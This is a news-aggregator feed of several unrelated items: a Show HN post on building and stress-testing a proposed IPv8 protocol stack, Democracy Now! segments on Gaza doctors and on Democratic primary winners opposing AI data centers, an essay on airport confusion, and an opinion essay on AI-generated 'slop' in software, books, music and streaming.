Brunning believes AI on dating apps doesn’t have to be like this. “There can be ways of trying to do digital better, that doesn’t involve giving people AI tools to talk to each other with,” he says.

Better moderation, clearer policies, better ways of presenting yourself and more control over how the environment works could all improve online dating without handing more of it to machines, he says.

The critical point is this, he says: “You can’t just take a product that’s out of favour, put AI on top of it and say: ‘OK, now we have a product that works.’”

HashAgent – Share an AI agent as a URL, runs locally via WebGPU

Hacker News
hashagent.pages.dev
2026-08-14 08:57:02
Comments...

Show HN: We Implemented the IPv8 Internet-Draft in Linux, Libc, and BGP

Hacker News
goonhost.rocks
2026-08-14 08:45:37
Comments...
Original Article

Show HN: We implemented the IPv8 Internet-Draft in the Linux Kernel, Musl Libc, and BGP

The Hook: Why We Built This

A few weeks ago, an Internet-Draft titled Internet Protocol Version 8 (IPv8) — draft-thain-ipv8-02 caught our eye.

The draft makes some extraordinary claims:

  • Zero Address Exhaustion : Every ASN holder automatically receives 4,294,967,296 host addresses ($2^{32}$).
  • 100% Backward Compatibility : "IPv4 is a proper subset of IPv8... There is no flag day and no forced migration."
  • Total Network Management : Every packet is validated against DNS8 and WHOIS8; all elements are authorized via OAuth2 JWT tokens; and all core services (DHCP, DNS, NTP, Syslog, WHOIS, NAT, ACLs) are bundled into a single "Zone Server" .

Most network engineers would laugh this off as an April Fools RFC written by an enterprise architect on buzzword overdrive. But instead of just arguing on mailing lists, the team at goonhost.rocks decided to actually build the entire specification from scratch and test what happens when you deploy it across a distributed multi-AS network.


What We Built (Open Source Repositories)

We implemented the complete IPv8 stack from ring-0 kernel code up to user-space applications:

  1. Linux Kernel 6.6 ( GitLab Repo ) :
    • Implemented native AF_INET8 (address family 46) supporting SOCK_STREAM (TCP8), SOCK_DGRAM (UDP8), and SOCK_RAW (RAW8).
    • 28-byte IPv8 header parsing, 64-bit routing table lookups, and sysctl boundary drop rules ( filter_internal_zones , filter_rine , filter_interior_links ).
  2. Musl Libc ( GitLab Repo ) :
    • Added sockaddr_in8 , inet_pton8 , inet_ntop8 , getaddrinfo() , and getnameinfo() for 64496.10.0.0.1 format addresses.
  3. iproute2 ( GitLab Repo ) :
    • Native ip -8 route and ip -8 addr management commands.
  4. FRRouting (FRR) ( GitLab Repo ) :
    • BGP8 daemon with Multi-Protocol Extensions (AFI/SAFI) for peering and exchanging IPv8 routes.
  5. IPv8 Zone Server Platform in Go ( GitLab Repo ) :
    • Implemented all 10 RFC sub-protocols: DHCP8 (options 224–230), DNS8 (TYPE_A8 88), SNTP Stratum-1, NetLog8 (UDP 514 telemetry), OAuth8 JWT server, WHOIS8 TCP 43/REST, ACL8, and XLATE8 stateful NAT.
  6. Nginx & cURL ( Nginx Repo | cURL Repo ) :
    • Serving and requesting HTTP over 64-bit IPv8 endpoints ( http://64497.20.0.0.254:80/ ).
  7. 10-Node QEMU Multi-AS Testbed :
    • 4 Autonomous Systems ( AS 64496, AS 64497, AS 64498, AS 64499 ) connected across multicast WAN/LAN segments, loaded with 112,000+ active FIB routes and continuous client traffic generation ( trafficgen8 ).

The Results: The Good, The Bad, and The Catastrophic

The Good (In a Lab Environment)

In an isolated sandbox, the protocol works surprisingly smoothly:

  • curl -i http://64497.20.0.0.254/ returns HTTP/1.1 200 OK from Nginx across an inter-AS WAN mesh.
  • dhcp8c boots on an unconfigured interface, receives a dual-gateway lease ( .254 Even / .253 Odd), and syncs its clock via NTP8 in 2.27 ms .
  • The Linux kernel fib_trie handled 112,117 active routes with sub-millisecond lookup latency under continuous traffic.

The Bad: Why It Breaks in the Real World

1. Path MTU (PMTUD) & Silent MSS Blackholing

IPv8 addresses add 4 bytes to source and 4 bytes to destination, expanding the IP header from 20 to 28 bytes .

  • On a standard 1500-byte MTU Ethernet link, standard IPv4 TCP packets (1460-byte payload + 20-byte TCP + 28-byte IPv8 = 1508 bytes ) exceed the MTU.
  • Because thousands of legacy middleboxes drop oversized packets without sending ICMP Fragmentation Needed messages, TLS handshakes and large file transfers hang indefinitely.
  • Fix : Every router and host on earth must enforce TCP MSS Clamping to 1452 bytes (or 1432 for 8to4 tunnels).

2. Multi-Homing & Asymmetric uRPF (BCP 38) Drops

In IPv8, your IP address is hard-coded to your primary ASN ( 64496.10.0.1 ). If you multihome with two upstream transit providers (Provider A and Provider B) and send outbound packets via Provider B:

  • Provider B’s ingress filters (strict uRPF / BCP 38) check if Provider B is the shortest path to AS 64496.
  • Since Provider A is the primary route, Provider B silently drops all your outbound traffic as spoofed packets.

3. Legacy Switch ASICs Punt to CPU Slow-Path

Fixed-function switch chips (Broadcom Tomahawk/Trident, Cisco Silicon One) in modern data centers have TCAM microcode hardwired for 32-bit IPv4 ( 0x0800 ) and 128-bit IPv6 ( 0x86DD ). They do not know what EtherType 0x88B8 is.

  • Packets cannot be switched at line rate (400Gbps/800Gbps) in hardware.
  • Switches punt IPv8 frames to the control-plane CPU exception queue, causing massive packet loss and throughput dropping from 400Gbps to <10Gbps.

4. The Monolithic Zone Server DDoS Target

Putting DHCP, DNS, NTP, Syslog, OAuth2 auth, and NAT into one "Zone Server" gateway creates the ultimate single point of failure. A simple UDP reflection attack against port 8080 or port 53 simultaneously knocks out time synchronization, dynamic addressing, token verification, and Internet egress for the entire company.


The Catastrophic: Economic Collapse for RIRs and Tier-1 Upstreams

1. RIRs (ARIN, RIPE, APNIC) Go Financially Bankrupt

  • RIRs are non-profits funded by tiered annual fees based on the volume of IP space held.
  • Under IPv8, registering a single 32-bit ASN ($100–$500/yr) gives you 4.3 billion routable IP addresses .
  • Address volume is decoupled from fees, collapsing RIR operational revenues by 75% to 90% .
  • The multi-billion dollar secondary IPv4 transfer market ($40–$55 per IP) is wiped out overnight.

2. The Speculative "Run on 32-bit ASNs"

Because 1 ASN = 4.3 Billion IPs, domain squatters and spammers will rush to hoard thousands of 32-bit ASNs, depleting the global ASN registry within years.

3. Tier-1 Transit Margin Destruction & Core TCAM Explosion

  • DFZ Route Explosion : Today's global BGP table has ~1.15M routes. In IPv8, with 115,000+ ASNs announcing Tier-1 and Tier-2 subnets, the Default-Free Zone expands to 3,000,000 to 5,000,000+ active routes , forcing billions of dollars in linecard replacements across global backbones.
  • RINE Peering Revenue Loss : IPv8's RINE mandate ( 100.0.0.0/8 ) forces zero-cost regional peering, depriving Tier-1 transit providers (Lumen, Arelion, NTT) of their high-margin transit commit revenue that funds transoceanic subsea cables.

Read the Full Whitepaper

We compiled our full data, test methodology, and protocol dissection into a comprehensive research paper:

Let us know what you think in the comments!

goonhost.rocks Research Team

Back to all articles

"American Doctor": New Film Follows U.S. Doctors to Gaza as Israel Bombs Hospitals, Kills Staff, Patients

Democracy Now!
www.democracynow.org
2026-08-14 08:42:52
The new documentary American Doctor tells the story of how the besieged hospitals of Gaza have continued to treat the sick and wounded throughout Israel’s genocidal war on the Palestinian territory, with local medical staff risking their own lives in the process. According to Palestinian offic...
Original Article

The new documentary American Doctor tells the story of how the besieged hospitals of Gaza have continued to treat the sick and wounded throughout Israel’s genocidal war on the Palestinian territory, with local medical staff risking their own lives in the process. According to Palestinian officials, Israeli attacks have killed about 1,700 healthcare workers in Gaza since October 2023. The documentary follows three U.S. doctors as they volunteer in Gaza hospitals.

Director Poh Si Teng says the film rose out of her “deep despair” over what was happening in Gaza, including deadly Israeli attacks on her former Al Jazeera colleagues. American Doctor is her attempt “to bring Palestine back to the United States,” Teng says.

We also speak with two of the subjects of the film: trauma surgeon Dr. Feroze Sidhwa and emergency physician Dr. Thaer Ahmad, who is Palestinian American.



Guests
  • Thaer Ahmad

    emergency doctor who has provided medical relief in conflict zones, including Gaza, Syria, Lebanon, Jordan, Turkey and Kenya.

  • Feroze Sidhwa

    surgeon who has worked on humanitarian deployments in Gaza, the occupied West Bank, Ukraine, Haiti, Zimbabwe and Burkina Faso.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

"Mop Up Michigan": Donavan McKinney on Democratic Socialism, Corporate Money & His Primary Upset

Democracy Now!
www.democracynow.org
2026-08-14 08:30:13
One of the biggest upsets from Democratic primary elections this month was Donavan McKinney’s defeat of two-term Congressmember Shri Thanedar in the House primary to represent parts of Detroit and Wayne County in Michigan’s 13th District. McKinney, a democratic socialist state lawmaker, ...
Original Article

One of the biggest upsets from Democratic primary elections this month was Donavan McKinney’s defeat of two-term Congressmember Shri Thanedar in the House primary to represent parts of Detroit and Wayne County in Michigan’s 13th District. McKinney, a democratic socialist state lawmaker, won on a platform to get corporate money out of politics, support Medicare for All and end military aid to Israel, among other issues. Like many other insurgent Democrats running for office, he has also proposed strict limits on artificial intelligence data centers. He took no corporate PAC money, and his campaign was supported by the Justice Democrats, Working Families Party, Democratic Socialists of America and major labor unions.

“We built the biggest and baddest coalition in the country,” says McKinney of his win. “People have come together and realized that our district deserves better.”



Guests
  • Donavan McKinney

    Democratic Michigan state representative who won the Democratic House primary in Michigan’s 13th Congressional District.

Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Dear people who work at the airport

Hacker News
life-after-ssri.bearblog.dev
2026-08-14 08:23:22
Comments...
Original Article

I would like you to know that we passengers are trying our best.

To you, this place makes sense -- you come here every day. You speak the lingo. You know what is meant by a gate and a concourse, and the difference between a ticket and a boarding pass. The poor elderly Indian woman who you just told to "keep the gate area clear" does not, and she wasn't trying to make your life more difficult. It's just that she has never flown before, she's trying to keep track of where all her grandchildren are, and when you loudly yet mumblingly announced that "We would now like to invite our Elite SkyFlyer Gold Members to commence boarding", English being her fourth language, all she really heard was "hurble flurble durble BOARDING", and she naturally thought it might be time to board.

She was anxious, because you instilled a sense of panic in her. There is the constant suggestion that if we put one foot wrong, you will publicly shame and humiliate us, like the time you laughed at all the people who volunteered to check in our cabin bags like you asked us to. We were trying do the right thing, and we weren't to know that the bags we were planning to take with us in the cabin were not "cabin bags" as you understand them.

You give us contradictory instructions in different mediums; the monitors that you spent so much money to install show the inscrutable phrase NOW BOARDING -- REMAIN SEATED. You do everything you can to discourage us from getting on the airplane in the wrong order, but as soon as our boarding group is finally called, you immediately switch the screens to read GATE CLOSING in red flashing type.

It is not our fault that someone designed this hellscape like a giant mall intersected at right angles with a concrete dungeon. One minute, smiling salespeople are spraying expensive perfume in your face and trying to sell you a handbag that costs more than a year's salary. The next, po-faced military-looking types are barking commands at you.

Take your laptop out! Put it back in your bag! Wait your turn, don't try to jump the queue! Don't just stand there, you're holding everyone up!

At Heathrow, you tell us to go to the B gates, but there is no sign for that; there is only a sign for gate B32 to B48. Should I follow those? What if there is a gate B31 that I should be heading to, but there is a "security check", meaning that a member of staff vaguely wanders about the little train that you weirdly insist on calling a "transit"? Clearly it can't be anything serious because it happens so often that you've gone to the trouble of preparing a little animation to be shown on the screens, but it does seem to take a while, and if I go the wrong way now I may not make it back in time.

When we try to find gate B45, we encounter the following sign:

An airport sign pointing to gate B45 in two different directions

Upon seeing this, the experienced visitor to this sceptred isle knows to smartly turn on their heel because B45 is right behind them, but we occasional travellers don't.

I expected that after a few dozen mostly intercontinental flights I would be better at this, but hundreds of thousands of miles later I still only have the vaguest idea of what a transfer desk is for.

If you are currently designing an airport and you have a little niggling doubt at the back of your head that you haven't quite done all you could do to optimise the passenger experience, feel free to give me a call. I would be delighted to offer a free consultation to look at things from the point of view of an exhausted, anxious person out of their element, like a sort of Temple Grandin of the terminal.

"Stop Toxic Data Centers": Justin Pearson on Elon Musk, AI & Winning Dem. House Primary in Memphis

Democracy Now!
www.democracynow.org
2026-08-14 08:15:42
We speak with Tennessee lawmaker Justin J. Pearson, who just won the Democratic primary to represent part of Memphis in the state’s 9th Congressional District. Pearson’s campaign focused in part on opposing large artificial intelligence data centers, particularly Elon Musk’s Coloss...
Original Article

This is a rush transcript. Copy may not be in its final form.

AMY GOODMAN : We begin today’s show looking at the Democratic primary win of state Representative Justin Pearson, who’s running to represent part of Memphis in the recently redrawn 9th Congressional District of Tennessee. Pearson won the Democratic House primary after running a campaign focused in part on opposing the unchecked growth of AI infrastructure, particularly Elon Musk’s massive supercomputer data centers known as Colossus 1 and Colossus 2, in the Memphis area.

Justin Pearson is known for his work as an environmental justice organizer and advocate. He gained national prominence three years ago when he was expelled from the Tennessee House for protesting Republicans’ inaction on gun control. He was then voted back in.

For decades, Memphis, the most populous city in Shelby County, formed the base of its own congressional district. Now the county is split among three districts that extend outward from the city. The majority-Black city was so-called cracked by Republican officials following a Supreme Court ruling that weakened the Voting Rights Act. Pearson’s victory happened to fall on the 61st anniversary of the signing of the Voting Rights Act on August 6, 1965.

Justin Pearson’s district is currently represented by a Democrat, Steve Cohen, who’s retiring, but the district now leans Republican. Pearson’s opponent in November is Republican state Senator Brent Taylor, who’s endorsed by President Trump.

Justin Pearson will join us in a minute, but first let’s turn to his recent remarks at the Democratic Convention in Texas.

REP . JUSTIN J. PEARSON : So, if the Republican Party is going to be the party licking the boot of the billionaires, who are taking our land, polluting our water and taking our jobs, then let us be the party of the working class, in rural, suburban and urban America alike.

If the Republican Party is going to be the party of AI taking away our jobs, the party of corporate handouts and blank checks for foreign wars, let us be the party to deliver an increase to the minimum wage. Let us be the party to deliver universal healthcare. Let us be the party to deliver a federal jobs guarantee, so Americans can put food on their table and a roof over their head. And let us be the party that demands a moratorium on data centers be passed by the United States Congress.

If Republicans are going to be the party of Big Tech, Big Oil, Big Pharma and Big Tobacco, giving tax breaks to the billionaires, let us be the party of the farmer and the factory worker, the nurse and the nail tech, the innovator and the immigrant. Let us be the party of the people, the people who still believe, the people who still hope, the people who still seek to make the American dream real in our lifetime.

AMY GOODMAN : That was Tennessee state rep and Democratic congressional candidate now, Justin Pearson, joining us today from Raleigh, North Carolina.

Justin, welcome back to Democracy Now! Thank you so much for joining us. Congratulations on your victory. But this district is clearly changed. You won in a historically Black-majority district and the only Democratic district in Tennessee, until it was redrawn in May. Can you talk about how you believe you won, and this struggle across the country, across the political spectrum, against data centers?

REP . JUSTIN J. PEARSON : Yes. I believe that we won the Democratic nomination, and the reason we’re going to win the general election is because we’re focusing on the issues that people care about here in the state of Tennessee and, honestly, all across the country. Costs are too high. Gas is too expensive. Groceries are too high. People need access to healthcare. And people don’t want toxic data centers polluting the air that they breathe. And so, those are the issues that we’re focusing on: pass Medicare for All, increase the minimum wage, tax the billionaires and make sure that we stop toxic data centers from popping up in our communities, whether they be in Memphis, Tennessee, or in Lawrenceburg, Tennessee. And we’re finding Democrats, Republicans and independents are all supporting that message, because we believe that the best days for Tennessee are still ahead of us.

AMY GOODMAN : So, tell us about Colossus 1 and Colossus 2, owned by Elon Musk. Explain how they were established there and what you’re trying to do.

REP . JUSTIN J. PEARSON : Yeah, Elon Musk and his company’s pollution are killing our community. These data centers are intended to replace our jobs. There’s no benefit to everyday working-class people. It’s only to the benefit of the billionaire class.

Three miles away from my wife and I’s home is his first data center. He has built two more data centers in Memphis, in Shelby County. And one, he just announced that he built, without even telling the public that he was doing so. So, our community was again taken advantage of. And currently he’s operating 59 gas turbines out of North Mississippi that are illegally polluting our air in violation of the Clean Air Act. And the Department of Justice recently has enjoined into a lawsuit asking that they be allowed to continue to violate the Clean Air Act, pollute our air, because Grok and xAI, Elon Musk’s company, is being used as a part of the Iran war, a war which they said they had already won a year ago.

And so, this company and this man don’t care about our people, don’t care about Tennesseans. And across the country, what we are seeing is folks rising up against the billionaire class. And these are Republicans, Democrats and independents, all a part of our coalition, who are saying, “I understand now. It’s not a fight of right versus left; it’s a fight of those who are at the top and the rest of us.”

AMY GOODMAN : How did these Colossus 1 and 2 data centers — how did they get approved?

REP . JUSTIN J. PEARSON : Yeah. The first thing, the Shelby County Health Department refused to follow their mandate from the Environmental Protection Agency to protect our air quality, and they allowed them to illegally pollute for an entire year without a permit. And then the Environmental Protection Agency went back and said, “You know what? They should have gotten a permit for that.” Despite that being the case, they went to Mississippi, and the Mississippi Department of Environmental Quality again has allowed them to violate the Clean Air Act and not follow the EPA’s own rulings. We also had local folks, the mayor of Memphis, the mayor of South Haven, Mississippi — both have capitulated to Elon Musk and these companies, allowing them to really kill and to hurt our communities. We have research from Harvard professors that dozens of people are going to prematurely die.

But it’s the failure of democratic institutions — lowercase d — of elected officials, of regulatory agencies, allowing these billionaires and these billion-dollar corporations to exploit us, the more vulnerable communities, because historically Valero Energy Corporation, Nucor Steel Corporation, the Tennessee Valley Authority have been able to do that in these communities, which are working-class Black communities in Memphis, working-class white communities in South Haven. But that’s what I think people are responding to: a need for our democratic institutions to actually stand up and to fight for our people. And before it was popular two years ago, that’s what I was fortunate to be able to do in Westwood in Boxtown. And that’s what I’m going to do in the United States Congress to protect all of our communities, to fight for all of us to have the human right to clean air and clean water.

AMY GOODMAN : So, in a moment, we’re going to speak with Donavan McKinney, a DSA candidate who won in Michigan. One of his issues was gun control, as you are well known for as a state representative. You were expelled from the state House of Representatives for leading a fight against the gun lobby and raising questions about gun violence, though you were — Memphis voted you back in. Can you talk about what you’re calling for now in that area?

REP . JUSTIN J. PEARSON : Absolutely. We need to mandate that everyone who has a firearm actually has a permit. In the state of Tennessee, it’s a permitless carry state, and there are several states that are like that. And most reasonable gun owners believe that you need to have a permit to carry a firearm. And in our state, 70% of people agree with that.

The reality is, the number one cause of death for a child under the age of 18 in the United States of America, whether they’re in Detroit, with Congressman McKinney, or they’re in Memphis, in Shelby County, is that gun injuries are the most significant cause of death. And it doesn’t have to be that way.

And I’m willing to stand up to the National Rifle Association. I’ve done it once. I’ll do it in the United States Congress, because all of our communities deserve to be safe. All of our schools and our teachers deserve to be safe. And reasonable people want commonsense laws that are going to protect and save our lives. And that’s what we need in Tennessee, and that’s what we need across this country.

AMY GOODMAN : Justin Pearson, you previously helped lead a fight against two billion-dollar oil companies that wanted to build a pipeline through southwest Memphis that threatened groundwater and would seize land owned by some residents since the abolition of slavery in 1865. A film about the fight was called This Is Not a Drill . This is the trailer. You’re in it.

REP . JUSTIN J. PEARSON : Pipeline companies usually win.

SHARON WILSON : I was threatened. People ran me off the road.

REP . JUSTIN J. PEARSON : They think they’re going to be able to come here and do whatever it is they wish without us fighting back.

These companies, they’ve got their narrative.

We’ve got a different narrative.

A narrative powered by the voices of ancestors.

AL GORE : We have to stop the continued expansion of fossil fuel infrastructure.

REP . JUSTIN J. PEARSON : We learned the risk. Cancer was 4.1 times greater in southwest Memphis.

ROISHETTA OZANE : We have to save Louisiana in order to save this planet.

REP . JUSTIN J. PEARSON : We find them guilty of environmental racism.

UNIDENTIFIED : She is never going to stop.

REP . JUSTIN J. PEARSON : Shackles can be broken, together.

This has been the fight of my life.

ROISHETTA OZANE : So, you feel like the safety of the world is in my hands?

KAMEA OZANE : Kind of.

REP . JUSTIN J. PEARSON : We will fight! We will win!

AMY GOODMAN : The trailer for This Is Not a Drill , that focuses on three activists — one of them, Justin Pearson. Now he has just won the Democratic primary for Congress. You won that, Justin Pearson, on August 6th, on the 61st anniversary of the Voting Rights Act, at a time when your district was redistricted, condemned by the NAACP and other groups around the country. We played that clip because we wanted to talk about this history you have of activism and now how you plan, in this what’s believed now to be a red district, though it was a majority-Black district before redistricting — what’s your strategy going into the general election against a Trump-supported Republican candidate?

REP . JUSTIN J. PEARSON : Yeah, our strategy is the same as it was when we were fighting those two billion-dollar corporations: people power. It’s believing that people who volunteer, people who donate, those who have given $31, those 55,000 people who are individual contributors, those who are knocking doors and making phone calls, is more powerful than the president of the United States and an entrenched status quo that is bent on making sure that our life is harder.

Things don’t have to be this way. And what I have seen over the last six years, since that pipeline fight happened in the first place to now, is that when we organize, we can win. And by building solidarity across race, across class, across rural and urban areas, is how we see transformation. Because I’ve been to Giles County, Pulaski, where the Ku Klux Klan was founded, and 150 people met us there, saying, “How can we knock doors? How can we make phone calls?” That’s the type of change and transformation that’s possible in this country if we continue to believe in it and tap into the spirit that I know we all have of building a more perfect union. And our campaign is just one of the modes that’s doing that in the South.

But we need everybody’s help, because it is a historic time, a historic moment. And if we’re going to live up to the values and the ideals of those who made the Voting Rights Act a possibility, this is the time to fight for the country that we deserve.

AMY GOODMAN : Tennessee state Representative Justin J. Pearson from Memphis in Shelby County. He just won the Democratic primary for Congress in Tennessee’s 9th Congressional District, certainly a race we will continue to follow.

Coming up, we go to Detroit to speak with Michigan state Rep. Donavan McKinney. He won the Democratic primary for Congress on a campaign to get money out of politics and for Medicare for All. Stay with us.

[break]

AMY GOODMAN : “Cryin’ in the Streets,” rendition of Zeshan B in our Democracy Now! studio.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

The TEMU-Fication of Software, Digital Goods and Services

Hacker News
xn--gckvb8fzb.com
2026-08-14 08:00:51
Comments...
Original Article

A hypothesis on the not-so-distant future of software, books, music, and movies, in which most of what we consume gets cheaper, more abundant, and noticeably worse, while the human-made variant moves into a luxury segment of its own.

Disclaimer: This is an opinion piece and most of it is speculation about a future that has not arrived (yet?), based on a few data points that have. As usual, summary at the end.

A few years ago I would have laughed at anyone telling me that there is a serious market for ten-dollar drills, two-dollar dresses, and one-dollar pairs of shoes shipped from a warehouse on the other side of the planet. Today, however, that market exists and it has a name, and it is even publicly traded (sort of, through holdings). TEMU , Shein and a few others have built frankly mind-boggling businesses around the idea that if you make production cheap enough, fast enough, and just barely good enough to look right on a phone screen, an enormous part of the population will buy it, even when the product breaks within a week, when the materials it is made of contain worrying levels of toxic substances , and when the carbon footprint of one delivery exceeds that of an equivalent local purchase by orders of magnitude.

The key to this sort of business model is not innovation, but instead the externalization and compression of cost. Somewhere upstream, people work seventy-five hours a week , in conditions most readers of this website would refuse to even visit, so that the rest of us can have a cheap plastic spatula at our doorstep within five business days. While the visible price collapses, the invisible costs get distributed onto landfills, lungs, and ultimately people that we will never meet.

What follows is a hypothesis I cannot prove but have been turning over in my head for a while, as we are watching the same thing happen to software, books, music, (film-)scripts, and most of the digital goods and services we consume. The cheap labor in this case is not human, it is a Large Language Model ( LLM ), or what many people these days call “AI” , and the externalized cost is, among other things, quality , which requires craftsmanship to produce, and attention to perceive. And just like with physical goods, we will probably end up with a two-tier market, in which we have a large and massively profitable lower tier of generated slop , and a smaller, more expensive upper tier of work that is still recognizably human.

I’d like to call this the TEMU-fication of software, digital goods and services , and describe what it might look like.

Cheap labor

For decades, the global fashion industry has relied on a workforce that has almost no leverage and no voice, and for which the economics work because someone, somewhere far away, will sew a t-shirt for less than the price of a coffee. Without that skewed arrangement, the entire fast fashion business model collapses. The garment in your hand is only cheap to you because it has been expensive to someone else , in ways that the price tag does not show.

Modern Large Language Models occupy a similar position in the economy, with one important difference, which is that there is no human being in the sweatshop, only a stack of GPUs trained on a corpus of work that other human beings produced over the course of decades. The labor that has been compressed is historical and the model is a kind of compressed copy of the work of millions of programmers, writers, illustrators, and musicians, served back at near-zero marginal cost. Well, at least in theory, and only if the hyperscalers find a way to lower the cost per token, but that’s a different topic.

However, the result is the same. A class of goods can suddenly be produced for an order of magnitude less than before. And, just like with TEMU , those goods turn out to be just barely good enough .

Vibe-coded software

The most direct manifestation of this so far is what is being called vibe coding . The term refers to the practice of describing what you want in natural language to an LLM , accepting whatever it produces, iterating over it with more refined descriptions of the basic idea and eventually shipping the result into production. Whether the developer actually understands what was generated is increasingly considered an implementation detail . And while the output is technically software, the question is what kind of software it is.

A 2025 Veracode report found that approximately 45% of AI-generated code samples failed security tests and contained critical vulnerabilities from the OWASP Top 10 , and a multi-language, multi-model academic study that evaluated outputs from Claude , Gemini , Codestral , GPT-4o and Llama-3 across Python, Java, C++ and C, found that a substantial fraction of generated snippets were either non-compliant with basic secure coding standards or actively triggered classified weaknesses (buffer overflows, hard-coded credentials, SQL injection, cryptographic misuse, path traversal, you name it). Even more concerning is a peer-reviewed 2025 paper from IEEE-ISTAS that documents a 37.6% increase in critical vulnerabilities after just five iterative prompts, suggesting that the more you let the model refine its own code, the worse the security posture gets.

When these issues compound over time, the result is a higher total cost than traditional development. However, this doesn’t matter when you don’t think long term , but fast fashion instead. Also, none of this is to say that an experienced engineer cannot use these tools well, because they certainly can. The issue is what happens when the same tools are used by someone who does not know what good looks like in the first place, and there is nobody downstream of them who does either. The output passes the basic test of it runs and looks plausible , ships into production, and accumulates the kind of architectural and security debt that surfaces only when something goes very wrong .

Note: There are credible voices in the industry, particularly from the AI tooling vendors themselves, who argue that AI-assisted development raises a floor more than it lowers a ceiling. In this view, the median piece of software has always been mediocre, written under deadline pressure by tired humans, copied from Stack Overflow without much thought, and held together by duct tape. If an LLM produces output of roughly comparable quality in a fraction of the time, the argument goes, nothing got worse. We are simply removing a bottleneck.

I find this argument partially persuasive, and partially convenient for the people making it. It is true that a lot of software was already not great, but it is equally true that there is a difference between bad code written by a human who at least understood what they were doing , and bad code written by a system that does not understand anything . The first kind can be questioned and corrected, but the second kind tends to compound, because the person shipping it cannot answer why it does what it does. At least for now.

Vibe-written books

Software is not the only place where this is playing out. The book industry is arguably further along, with estimates suggesting that somewhere between ten thousand and forty thousand AI-generated books are uploaded to Amazon ’s Kindle Direct Publishing platform every month, many without any disclosure that a model was involved. In June 2023, the Kindle Top 100 bestseller list was found to contain only 19 books written by humans . Amazon has since introduced limits and disclosure requirements , but enforcement is patchy and authors continue to push back against what looks like a slow flood.

Categories that have been hit particularly hard include travel guides (generated guides to cities the author has never visited, with restaurant recommendations that don’t exist), nutrition and health (generated diet advice with citations to studies that don’t exist), and public-domain rewrites (generated adaptations of older books, relying on the recognizability of titles that the actual authors never agreed to). Travel guides in particular have produced a small genre of stories where readers arrive at addresses that turn out to be empty lots, or follow walking directions through neighborhoods that no human would ever recommend.

Note: The defense, again, is that the bottom of the book market was always full of filler, that print-on-demand has been around for a long time, and ghost-written business books and assembly-line genre fiction predate generative AI by decades. However, the new thing is the scale at which low-effort content can now be produced, and the speed at which it can drown out the rest of the catalogue. Authors are competing for shelf space against entities that can ship a hundred new titles in a weekend.

Vibe-created articles & video

A 2025 analysis of 65,000 English-language articles published since January 2020 found that a little over half of all new articles on the internet are now AI-generated , and it’s not only the written word that’s being churned out by machines . YouTube has its own version of the problem, where, according to a Guardian analysis, nearly 10% of the world’s fastest-growing channels feature nothing but AI-generated content , and on Shorts specifically more than one in five videos served to a new user is low-quality AI-generated material .

Vibe-produced music

Not even the highly creative and (up until recently) human process of making music is immune to this TEMU-fication . Spotify has been removing ghost artist tracks for years, but the practice scaled up dramatically when generative tools made it trivial to produce convincing lo-fi background music in arbitrary volume. The platform has reportedly removed 75 million spammy tracks in a single year , and high-profile acts like the AI-generated band The Velvet Sundown amassed over a million streams before being unmasked. There has been at least one criminal case, involving over $8 million in fraudulent royalties , built entirely on AI-generated music and bot streams.

However, that is no reason to applaud Spotify , as the company appears to fight the AI spam only when it’s someone else trying to make money off of it.

Pushback… or delay?

However, there is a sliver of hope, as engagement with AI-generated articles reportedly dropped by around 40% in 2024, and human-generated content seemingly still gets roughly 5.4× more traffic than AI-generated material in some studies. About 38% of consumers openly express skepticism about AI-created content, and people do still seem to be voting with their attention. Whether that vote is powerful enough to shift incentives at the platform level is a different question, and personally I’m not particularly optimistic, especially given that the platforms profit either way.

Let’s take Netflix as an example. From my understanding, the WGA ’s 2023 deal explicitly prevents studios from treating AI-generated material as source material, or from using AI to write or rewrite scripts, and Netflix was seemingly bound by that agreement until at least May 2026. Netflix ’s own Generative AI Production Guidelines also seem to reflect this, stating that AI is permitted in ideation , but that its use should not replace or materially impact work that would otherwise be done by union-represented writers, actors, or crew members, without proper approvals . While that sounds reassuring on the surface, it is, in my view, a delay and not a limit.

The same company has publicly committed to going all-in on AI in its production pipeline , has signed deals with VFX automation providers that explicitly put a chunk of the global VFX workforce at risk, and has already used generative AI in at least one of its programs ( El Eternauta ). The trajectory seems to be “use AI everywhere it is contractually allowed right now, expand into the rest the second the contracts permit it, and spin the result as dEmOcRaTiZaTiOn Of CrEaTiViTy” .

Looking forward

So here is my specific (and quite possibly wrong) prediction:

Within the next five to ten years, Netflix will offer a basic subscription tier whose catalogue consists predominantly of AI-generated or AI-assisted content. We are talking generated procedural shows where each episode is remixed from a small set of templates, generated kids’ content that is vaguely educational and impossible to remember an hour after watching, and generated dramas that recycle plots from existing IP and vibe the rest. For this, the viewer pays the lowest monthly price, while the platform pays nearly nothing in production cost and keeps an enormous margin. The only “upside” for consumers will be the lack of ad breaks, as targeted advertising will quite possibly be injected in real-time into the show you’re watching, seamlessly blending into the storyline without you noticing it, but ultimately still triggering your ape brain to crave a refreshing soda or a sweet treat .

Their premium tier, meanwhile, will become the human-made tier. Series with credited human writers, films with credited human directors, and performances by humans whose likeness has not been digitally replicated. The marketing will not call it human-made , because that would be admitting that the cheap tier isn’t , but the price difference will make it obvious. You will pay extra for the same thing Netflix has been selling you all along, except now it is positioned as a luxury.

Clearly, I cannot prove that this is what will happen. Netflix ’s own guidelines, as written, prohibit it, and the WGA deal forced a delay. But once the contractual block has lifted, the financial logic is hard to argue with. A streaming service that can produce good enough content for fractional cost will eventually try to. And, mind you, Netflix is just one example. The same logic applies to every other content-distribution business with a subscription model and a margin.

Handmade goods

If you want to know what the human side of this two-tier world looks like, I think the best existing model is the handicrafts and handmade goods market . By 2025, that market was estimated at roughly USD 987 billion globally, with projections reaching over USD 1 trillion by 2035 . There is data suggesting that U.S. consumers already spend almost a fifth of their money on handmade goods rather than on mass-produced equivalents, and over half of handicraft buyers globally indicate a preference for products that are eco-certified or made from natural materials, going in the exact opposite direction of what TEMU has been doing.

